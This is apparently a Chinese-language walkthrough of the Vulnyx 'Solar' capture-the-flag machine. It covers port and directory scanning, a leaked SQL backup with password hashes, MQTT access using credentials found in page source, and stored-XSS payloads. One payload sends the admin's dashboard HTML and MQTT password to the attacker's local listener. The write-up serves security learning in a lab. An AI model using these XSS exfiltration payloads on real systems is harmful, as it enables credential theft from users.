Vulnyx-Solar-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e3:f6:57 VMware, Inc.
192.168.60.196 08:00:27:30:1f:a7 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:f3:05:73 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.055 seconds (124.57 hosts/sec). 4 responded
export ip=192.168.60.196
❯ rustscan -a $ip -- -A -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.196:22
Open 192.168.60.196:80
Open 192.168.60.196:443
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sV" on ip 192.168.60.196
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-20 14:22 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 0.00s elapsed
Initiating ARP Ping Scan at 14:22
Scanning 192.168.60.196 [1 port]
Completed ARP Ping Scan at 14:22, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:22
Scanning solar.nyx (192.168.60.196) [3 ports]
Discovered open port 443/tcp on 192.168.60.196
Discovered open port 22/tcp on 192.168.60.196
Discovered open port 80/tcp on 192.168.60.196
Completed SYN Stealth Scan at 14:22, 0.04s elapsed (3 total ports)
Initiating Service scan at 14:22
Scanning 3 services on solar.nyx (192.168.60.196)
Completed Service scan at 14:22, 12.03s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against solar.nyx (192.168.60.196)
NSE: Script scanning 192.168.60.196.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 1.03s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 1.14s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 0.00s elapsed
Nmap scan report for solar.nyx (192.168.60.196)
Host is up, received arp-response (0.00075s latency).
Scanned at 2025-02-20 14:22:25 CST for 15s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 00:31:c1:0a:8b:0f:c9:45:e7:2f:7f:06:0c:4f:cb:42 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBBCfKYiX0XS6Bbc24efX4FcBNZhVZRq49IZpDO1CBBFeHsYyaa2KB/ato4Retzm6mePIKD2q+AD9PP4VC79I7s=
| 256 6b:04:c5:5d:39:ed:b3:41:d0:23:2b:77:d1:53:d0:48 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE1RWzu6r/g8tuNndoouxbD5FvlSQOnWDDn6ufvEo06d
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
443/tcp open ssl/http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
|_http-title: Solar Energy Control Login
|_http-favicon: Unknown favicon MD5: 20294B7D37E757C2C664F3B09517A470
|_http-server-header: Apache/2.4.62 (Debian)
| ssl-cert: Subject: commonName=www.solar.nyx/organizationName=Solar/stateOrProvinceName=Madrid/countryName=ES/localityName=Madrid/organizationalUnitName=IT
| Subject Alternative Name: DNS:www.solar.nyx, DNS:www.sunfriends.nyx
| Issuer: commonName=www.solar.nyx/organizationName=Solar/stateOrProvinceName=Madrid/countryName=ES/localityName=Madrid/organizationalUnitName=IT
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-10T00:03:30
| Not valid after: 2034-10-08T00:03:30
| MD5: 0a03:37bc:7f92:a9e5:b79c:98d9:f9e6:0835
| SHA-1: e414:cf4d:d8d3:43a3:748e:c90c:0ce9:f713:e88d:138b
| -----BEGIN CERTIFICATE-----
| MIIDpTCCAo2gAwIBAgIUR6TZBu1Gr7CmOLmGXDd5PJGPpy8wDQYJKoZIhvcNAQEL
| BQAwZDELMAkGA1UEBhMCRVMxDzANBgNVBAgMBk1hZHJpZDEPMA0GA1UEBwwGTWFk
| cmlkMQ4wDAYDVQQKDAVTb2xhcjELMAkGA1UECwwCSVQxFjAUBgNVBAMMDXd3dy5z
| b2xhci5ueXgwHhcNMjQxMDEwMDAwMzMwWhcNMzQxMDA4MDAwMzMwWjBkMQswCQYD
| VQQGEwJFUzEPMA0GA1UECAwGTWFkcmlkMQ8wDQYDVQQHDAZNYWRyaWQxDjAMBgNV
| BAoMBVNvbGFyMQswCQYDVQQLDAJJVDEWMBQGA1UEAwwNd3d3LnNvbGFyLm55eDCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN/zD8zMKPmhYZSo3SWuBR3n
| 6jF5HhHzz12Wm/v5jbvO3N6yktQppec4u/SDyaJ0YD46D9eQRWym/Ug3Bg/D5p63
| 0qBAG/WKyPCiSYfgRT+O6eGJwMprjP5fs5Np0mWgSmwy43E2RwFtqGNoCv45cRVM
| NCzc6buuksOVl+IBVO6ldP51lHW781PxTx7+XCgLRrWBuoTTwWoH0K6KCEEdc6Th
| FeFHI6FkFpgn9XG5Tj3dKLKctQasG25n06BR3vvvSoE1WWQgo4lBSQKEq3bD8Fpg
| MpiY7Lk8KoWDIfAmk9EokEb9SrGrVgcEbRbccdjalZ6DIBx31PncWUJoSt4HQgUC
| AwEAAaNPME0wLAYDVR0RBCUwI4INd3d3LnNvbGFyLm55eIISd3d3LnN1bmZyaWVu
| ZHMubnl4MB0GA1UdDgQWBBSyqUP/KMyh7e+m53EzgWrJB0TgcDANBgkqhkiG9w0B
| AQsFAAOCAQEAlG0044X12UOSc5AJR9vTUL6wgcdckF8dFfw3DM+iIxNuPldtSKj0
| BWqW9LipaNskxG8ltHhomm/k9PeB3O+EuXGELkpm1KPMFtHx8QHlMsyI4tSMRYp/
| XuSrP5lbAOjJDrZd57Ib4rE9HShtMpA3qM+5yLTJJSTaFtqqIlAMfVv5w4Iuau9c
| FB3qTgakZ1z2Aoa+jURRH7oob7t7iGUd6lrvg78Yooxx+SP+/NoY0/cbfLQK1Vko
| g12FLYSi0ut9XReyxLZZXG9c3RBTBeUvF2NN3D+KiBXQ7m0Xm1TVhPrVmTlzmqKA
| sGaU3ev4Gs9w6tNcbr4uK7w1uz71yY3CIw==
|_-----END CERTIFICATE-----
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:30:1F:A7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/20%OT=22%CT=%CU=43999%PV=Y%DS=1%DC=D%G=N%M=080027
OS:%TM=67B6CA30%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=106%TI=Z%CI=Z%II
OS:=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7
OS:%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%
OS:W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Uptime guess: 38.746 days (since Sun Jan 12 20:28:03 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.75 ms solar.nyx (192.168.60.196)

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:22
Completed NSE at 14:22, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.04 seconds
Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)

浏览器访问一下80端口,这个还开放了443端口

发现配置的域名,编辑一下hosts添加域名

其中nmap中还识别到另一个域名www.sunfriends.nyx

1
2
sudo vim /etc/hosts
192.168.60.196 www.solar.nyx www.sunfriends.nyx

默认访问会跳转https

image

我尝试弱密码登录,无果

不过他会输出错误下信息

index.php?msg=No+user+found+with+that+username.)

通过给msg传参可以控制,但没啥用

我尝试模糊测试一下有没有子域名,无果

访问另一个域名,发现是个维护中的论坛

image

讨论中出现的人名可能有点用,先保存下吧

1
2
3
4
5
6
7
8
9
10
11
echo -e "Robert24\ncalvin\nJulianAdm\nGreenThumb\nAnnaSolar\nSolarGuy\nEcoFriendly\nJohn20" >names.txt
cat names.txt
Robert24
calvin
JulianAdm
GreenThumb
AnnaSolar
SolarGuy
EcoFriendly
John20

简单扫一下目录吧

不过扫https的时候会显示tls: failed to verify certificate: x509: certificate signed by unknown authority

加个参数-k跳过TLS证书验证即可

在solar域名中,没有什么信息

无论哪个目录都会跳转index需要登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ gobuster dir -u https://www.solar.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://www.solar.nyx
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 745]
/login.php (Status: 200) [Size: 0]
/logout.php (Status: 302) [Size: 0] [--> index.php?msg=Log-out.]
/dashboard.php (Status: 302) [Size: 0] [--> index.php]
/records (Status: 301) [Size: 318] [--> https://www.solar.nyx/records/]
/session.php (Status: 200) [Size: 0]
Progress: 1038215 / 1038220 (100.00%)
===============================================================
Finished
===============================================================

在论坛的域名中,也扫不到什么东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ gobuster dir -u https://www.sunfriends.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://www.sunfriends.nyx
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 11089]
/server.php (Status: 200) [Size: 1523]
/commands (Status: 301) [Size: 329] [--> https://www.sunfriends.nyx/commands/]
Progress: 1038215 / 1038220 (100.00%)
===============================================================
Finished
===============================================================

只有在server.php中有个登录表单

image

备份文件泄露

我估计是藏了个文件之类的,加-x参数

多添加几个文件后缀

没想到是藏了个sql备份数据的压缩包,这后缀其实不常用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ gobuster dir -u https://www.sunfriends.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt,sql,jpg,db,tar,sql.gz,gzip,gz2 -b 403,404 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://www.sunfriends.nyx
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,db,gzip,php,html,zip,sql,jpg,tar,sql.gz,gz2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 11089]
/server.php (Status: 200) [Size: 1523]
/database.sql.gz (Status: 200) [Size: 1010]
Progress: 27952 / 2491728 (1.12%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 27976 / 2491728 (1.12%)
===============================================================
Finished
===============================================================

wget一下,不验证ssl证书

解压压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
❯ wget https://www.sunfriends.nyx/database.sql.gz --no-check-certificate
--2025-02-20 15:00:55-- https://www.sunfriends.nyx/database.sql.gz
Resolving www.sunfriends.nyx (www.sunfriends.nyx)... 192.168.60.196
Connecting to www.sunfriends.nyx (www.sunfriends.nyx)|192.168.60.196|:443... connected.
WARNING: The certificate of ‘www.sunfriends.nyx’ is not trusted.
WARNING: The certificate of ‘www.sunfriends.nyx’ doesn't have a known issuer.
HTTP request sent, awaiting response... 200 OK
Length: 1010 [application/x-gzip]
Saving to: ‘database.sql.gz’

database.sql.gz 100%[=======================================================================>] 1010 --.-KB/s in 0s

2025-02-20 15:00:55 (52.4 MB/s) - ‘database.sql.gz’ saved [1010/1010]

❯ x database.sql.gz
extract: extracting to database.sql
❯ strings database.sql
-- MariaDB dump 10.19 Distrib 10.11.6-MariaDB, for debian-linux-gnu (x86_64)
-- Host: localhost Database: solar_energy_db
-- ------------------------------------------------------
-- Server version 10.11.6-MariaDB-0+deb12u1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
-- Table structure for table `users`
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(64) NOT NULL,
`role` varchar(20) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
-- Dumping data for table `users`
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES
(1,'Robert24','66dc8ac996672de0cdeb294808d4cca21ba0bc856c365e90562565853febed0c','user'),
(2,'calvin','e8e9689deac5bac977b64e85c1105bd1419608f1223bdafb8e5fbdf6cf939879','user'),
(3,'JulianAdm','bbca1b30190fddeead4e1a845ee063bec94499601aa5ee795da8917767bdcdde','admin'),
(4,'John20','38858f3066c9a6f3d8c6e54fbfcff204d5383f0721c32bc8ae46cf46a93e3694','user');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2024-08-24 21:17:08
❯ echo -n "bbca1b30190fddeead4e1a845ee063bec94499601aa5ee795da8917767bdcdde"|wc -c
64

发现密码hash是64位的

猜测可能是sha256

image

Hash解密

每个hash分别在线解密一下,只拿到calvin的密码emily

image

尝试利用此凭证登录一下

哎,我不知道为什么的靶机会莫名其妙的无法获取IP

只能重启一下

登录到solar发现会显示太阳能功耗之类的图表

image

MQTT协议

不过我们可以通过查看源代码

MQTT 客户端连接到 WebSocket 代理连接wss://www.solar.nyx/wss/

下面还有连接凭证

拿一下源代码,分析一下程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import mqtt from '/mqtt.js'  # 导入 mqtt 模块

# 定义用户名和用户角色
let userName = "calvin";
let userRole = "user";

# 连接到 MQTT 服务器
var mqttclient = mqtt.connect('wss://www.solar.nyx/wss/', {
clientId: userName + '-dashboard-' + new Date().valueOf(), # 客户端 ID
username: 'user', # 用户名
password: '1tEa15klQpTx9Oub6ENG', # 密码
protocolId: 'MQTT' # 协议 ID
});

# 当接收到消息时,调用 getMessagesStatus 函数
mqttclient.on("message", getMessagesStatus);

# 处理接收到的消息
function getMessagesStatus(msTopic, msBody) {
let data = JSON.parse(msBody.toString()); # 解析消息体
setParams(data.solarEnergy, data.consumedEnergy); # 更新参数
}

# 订阅主题为 "data" 的消息
mqttclient.subscribe("data", function (err) {
if (err) {
console.log('ERROR MQTT', err.toString()); # 打印错误信息
mqttclient.end(); # 断开连接
}
});

# 初始化能量数据
let solar = 0, consumed = 0, grid = 0;

# 使用 Chart.js 初始化柱状图
const ctx = document.getElementById('energyChart').getContext('2d');
let energyChart = new Chart(ctx, {
type: 'bar',
data: {
labels: ['Solar', 'Consumed', 'Grid'], # 标签
datasets: [{
label: 'Energy (kWh)', # 数据集标签
data: [solar, consumed, grid], # 数据
backgroundColor: ['#6fcf97', '#eb5757', '#56ccf2'], # 背景颜色
}]
},
options: {
scales: {
y: {
beginAtZero: true, # Y 轴从零开始
ticks: {
callback: function (value) { return value + " kWh"; } # Y 轴刻度标签
}
}
},
plugins: {
legend: {
display: false # 不显示图例
},
tooltip: {
callbacks: {
label: function (context) {
return context.dataset.label + ': ' + context.raw + ' kWh'; # 工具提示标签
}
}
}
}
}
});

# 更新图表和标签的函数
function setParams(solarEnergy, consumedEnergy) {
let gridEnergy = consumedEnergy - solarEnergy; # 计算电网能量
solar = solarEnergy;
consumed = consumedEnergy;
grid = gridEnergy;

# 更新柱状图数据
energyChart.data.datasets[0].data = [solar, consumed, grid];
energyChart.update();

# 更新页面上的标签
document.getElementById('solarEnergyLabel').innerHTML = `<span class="energy-value solar">${solarEnergy} kWh</span>`;
document.getElementById('consumedEnergyLabel').innerHTML = `<span class="energy-value consumed">${consumedEnergy} kWh</span>`;

let gridLabel = document.getElementById('gridEnergyLabel');
gridLabel.innerHTML = `<span class="energy-value ${gridEnergy < 0 ? 'grid-negative' : 'grid-positive'}">${gridEnergy} kWh</span>`;

document.getElementById('userInfo').innerHTML = `<span>${userName}</span><br>${userRole}`;
}

# 初始化参数
setParams(0, 0);

该程序是个接收端,通过 WebSocket Secure (WSS) 协议连接到 wss://www.solar.nyx/wss/ 服务器

订阅了主题为 data 的消息,然后更新图表

那我们利用MQTTX客户端,尝试接收mqtt消息

MQTTX Download

image

连接成功后,我们添加data订阅

可以发现接收到的数据和Dashboard中的数据是相同的

image

可以尝试发送异常的json数据

会被接受并更新在页面中

image

XSS漏洞

那我们查看更新页面数据的相关代码

发现是用 JavaScript 编写的

image

既然我们可以控制solarEnergy consumedEnergy数值

并且代码中使用innerHTML直接插入文本中,将字符串解析为 HTML

猜测可能含有xss漏洞

我利用基础的弹出文本框<script>alert('XSS')</script>,无效

多尝试几个 有个xss的绕过小技巧可以成功执行

image

具体payload

1
2
3
4
5
6
❯ echo "YWxlcnQoJ1hTUycpOw=="|base64 -d
alert('XSS');%
{
"solarEnergy":"<img src=x onerror=eval(atob(\/YWxlcnQoJ1hTUycpOw==\/.source)); />",
"consumedEnergy":999999
}
  • **<img src=x**:这是一个无效的图片 URL,确保 onerror 事件会被触发。

  • **onerror=**:当图片加载失败时,会触发 onerror 事件。

  • eval(atob(\/[base64格式的js代码]\/.source));:这是 onerror事件的处理代码。

  • **atob**:这是一个 JavaScript 函数,用于解码 Base64 编码的字符串。反之,btoa就是Base64解码

  • **eval**:这是一个 JavaScript 函数,用于执行字符串形式的 JavaScript 代码。

    • **\/[base64encodeJavascriptCode]\/.source**:这是一个正则表达式的字符串表示形式,[base64encodeJavascriptCode] 是占位符,表示实际的 Base64 编码的 JavaScript 代码。

源码读取

我们怀疑管理员JulianAdm会正在查看Dashboard

而我们构造的data信息大概率管理员也可以收到

可以由此捕获当前网页的源代码

image

具体payload

1
2
3
4
{
"solarEnergy":"<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000?url=' + encodeURIComponent(window.location.href) + '&code=' + btoa(document.body.outerHTML);})();\"; />",
"consumedEnergy":999999
}

location.href = 'http://192.168.60.100:8000?...':这一行将当前网页重定向到一个不同的URL (http://192.168.60.100)。该URL包含查询参数。

  • url=' + encodeURIComponent(window.location.href):这一部分在编码后将当前网页的URL作为查询参数附加上去。

  • &code=' + btoa(document.body.outerHTML):这一部分在Base64编码后将整个网页的HTML内容附加上去。

async 是 JavaScript 中用于定义异步函数的一种语法。异步函数允许你编写可以在等待操作(如网络请求或定时器)完成时不阻塞执行的代码。即使不加函数也可以执行

我们在本地开个http服务

可以拿到一个是本地请求的另一个则是管理员访问的

1
2
3
4
5
6
7
8
❯ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.60.100 - - [20/Feb/2025 17:24:12] "GET /?url=https%3A%2F%2Fwww.solar.nyx%2Fdashboard.php&code=省略………………… HTTP/1.1" 200 -
192.168.60.100 - - [20/Feb/2025 17:24:12] code 404, message File not found
192.168.60.100 - - [20/Feb/2025 17:24:12] "GET /favicon.ico HTTP/1.1" 404 -
192.168.60.196 - - [20/Feb/2025 17:29:54] "GET /?url=https%3A%2F%2Fwww.solar.nyx%2Fdashboard.php&code=省略base64编码…HTTP/1.1" 200 -
192.168.60.196 - - [20/Feb/2025 17:29:55] code 404, message File not found
192.168.60.196 - - [20/Feb/2025 17:29:55] "GET /favicon.ico HTTP/1.1" 404 -

我们将base64解码一下

我们得到管理员登入后dashboard的源码

其中就包含管理员的MQTT连接凭证

admin:tJH8HvwVwC57BR6CEyg5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
<body>
<div class="dashboard">
<object class="solar-icon" data="sun.svg" type="image/svg+xml" style="width:75px;"></object>
<h1>Solar Energy Dashboard</h1>
<div class="user-info" id="userInfo"><span>JulianAdm</span><br>admin</div>
<canvas id="energyChart" class="energy-chart" width="400" height="200" style="display: block; box-sizing: border-box; height: 200px; width: 400px;"></canvas>
<div class="energy-label"><span class="solar-title">Solar:</span> <span id="solarEnergyLabel" class="energy-value solar"><span class="energy-value solar"><img src="x" onerror="(() => {location.href = 'http://192.168.60.100:8000?url=' + encodeURIComponent(window.location.href) + '&amp;code=' + btoa(document.body.outerHTML);})();" ;=""> kWh</span></span></div>
<div class="energy-label"><span class="consumed-title">Consumed:</span> <span id="consumedEnergyLabel" class="energy-value consumed"><span class="energy-value consumed">999999 kWh</span></span></div>
<div class="energy-label"><span class="grid-title">Grid:</span> <span id="gridEnergyLabel" class="energy-value grid-positive"><span class="energy-value grid-positive">NaN kWh</span></span></div>
<a href="/logout.php" class="logout-link" id="logoutLink">Logout</a>
<a href="/records/" class="logout-link">Records</a>
<a href="#" class="logout-link" id="send-record-id">Send record</a>
</div>

<!--<script src="/mqtt.min.js"></script>-->

<script src="/chart.js"></script>
<script type="module">
import mqtt from '/mqtt.js'

let userName = "JulianAdm";
let userRole = "admin";

var mqttclient = mqtt.connect('wss://www.solar.nyx/wss/', {
clientId: userName + '-dashboard-' + new Date().valueOf(),
username: 'admin',
password: 'tJH8HvwVwC57BR6CEyg5',
protocolId: 'MQTT'
});

mqttclient.on("message", getMessagesStatus);

function getMessagesStatus(msTopic, msBody) {
let data = JSON.parse(msBody.toString());
setParams(data.solarEnergy, data.consumedEnergy);
}

mqttclient.subscribe("data", function (err) {
if (err) {
console.log('ERROR MQTT', err.toString());
mqttclient.end();
}
});

let solar = 0, consumed = 0, grid = 0;

// Initialize the bar chart using Chart.js
const ctx = document.getElementById('energyChart').getContext('2d');
let energyChart = new Chart(ctx, {
type: 'bar',
data: {
labels: ['Solar', 'Consumed', 'Grid'],
datasets: [{
label: 'Energy (kWh)',
data: [solar, consumed, grid],
backgroundColor: ['#6fcf97', '#eb5757', '#56ccf2'],
}]
},
options: {
scales: {
y: {
beginAtZero: true,
ticks: {
callback: function (value) { return value + " kWh"; }
}
}
},
plugins: {
legend: {
display: false
},
tooltip: {
callbacks: {
label: function (context) {
return context.dataset.label + ': ' + context.raw + ' kWh';
}
}
}
}
}
});

// Update the chart and labels with new data
